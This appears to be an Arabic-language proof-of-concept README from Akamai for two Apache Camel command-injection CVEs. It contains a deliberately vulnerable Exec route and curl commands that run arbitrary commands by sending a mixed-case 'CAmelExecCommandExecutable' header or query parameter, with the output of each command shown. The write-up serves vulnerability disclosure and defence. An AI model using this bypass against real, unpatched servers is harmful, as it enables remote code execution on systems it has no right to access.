
إثبات مفهوم يوضح تنفيذ التعليمات البرمجية عن بُعد في Apache Camel من خلال استغلال تجاوزات تصفية الرؤوس والمعاملات (CVE-2025-27636, CVE-2025-29891) عبر مكوّن Exec.
CVE-2025–27636 و CVE-2025-29891 هما ثغرات في Apache Camel تؤثر على الإصدارات: 4.10.0-4.10.1، 4.8.0-4.8.4، 3.10.0-3.22.3. يمكن أن يمكن استغلال هذه الثغرات المهاجمين من تنفيذ طرق Camel الداخلية.
فيما يلي تطبيق ضعيف نموذجي يستخدم مكون Camel Exec، والذي يمكن استغلاله لتحقيق RCE. يمكن استغلال مكونات Camel الأخرى بطريقة مماثلة.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
يعرض التطبيق نقطة نهاية HTTP تهدف إلى تنفيذ أمر "whoami" وإرجاع النتيجة إلى العميل. يتم تكوين مكون "Exec" في Camel لتنفيذ الأمر، والذي يتم تعريفه بشكل ثابت في الكود.
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
على الرغم من أن الأمر ثابت، يمكننا تجاوزه عن طريق تمرير الرأس CamelExecCommandExecutable، والذي (كما هو موضح في الوثائق) يقوم بتجاوز URI الثابت. من المفترض أن يقوم Apache Camel بتصفية مثل هذه الرؤوس، ولكن بسبب المعالجة غير الصحيحة لحالة الأحرف، فإن تمرير الرأس "CAmelExecCommandExecutable" يتجاوز الفلتر.
تنفيذ الأمر التالي سيتجاوز الأمر الثابت "whoami" ويقوم بتشغيل أمر عشوائي بدلاً منه:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
يمكننا أيضًا تمرير الوسائط عن طريق تحديد الرأس CamelExecCommandArgs:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
إذا مررنا الرأس "العادي"، سنلاحظ أن الاستغلال يفشل ويتم تنفيذ الأمر الثابت "whoami" بشكل طبيعي:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
في الأصل، كان يُعتقد أن رؤوس الطلبات هي المتجه الوحيد للاستغلال. ومع ذلك، أبلغ فريق أبحاث الأمن في Akamai عن متجه إضافي لفريق تطوير Apache Camel، مما أدى إلى تعيين CVE-2025-29891. تنشأ هذه المشكلة من نفس عيب التصفية مثل CVE-2025-27636، وتتيح استدعاء الطرق الداخلية من خلال معلمات الطلب.
في المثال التالي، يمكننا أن نرى أن تحديد معلمة الاستعلام “CAmelExecCommandExecutable” يؤدي إلى تنفيذ أمر عشوائي - تمامًا مثل متجه الرأس الأصلي:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
التصحيح الأصلي الذي تم تنفيذه لإصلاح CVE-2025-27636 يحل هذه المشكلة أيضًا، لذا فإن التطبيقات التي تستخدم إصدارات محدثة من Apache Camel ليست عرضة لمتجه الاستغلال هذا.
حقوق الطبع والنشر 2025 Akamai Technologies Inc.
مرخص بموجب ترخيص Apache، الإصدار 2.0 ( "الترخيص" )؛ لا يجوز لك استخدام هذا الملف إلا بموجب الترخيص. يمكنك الحصول على نسخة من الترخيص على
http://www.apache.org/licenses/LICENSE-2.0
ما لم يقتض القانون المعمول به أو يتم الاتفاق عليه كتابيًا، يتم توزيع البرنامج المرخص بموجب الترخيص على أساس "كما هو"، دون أي ضمانات أو شروط من أي نوع، سواء كانت صريحة أو ضمنية. انظر الترخيص للحصول على اللغة المحددة التي تحكم الأذونات والقيود بموجب الترخيص.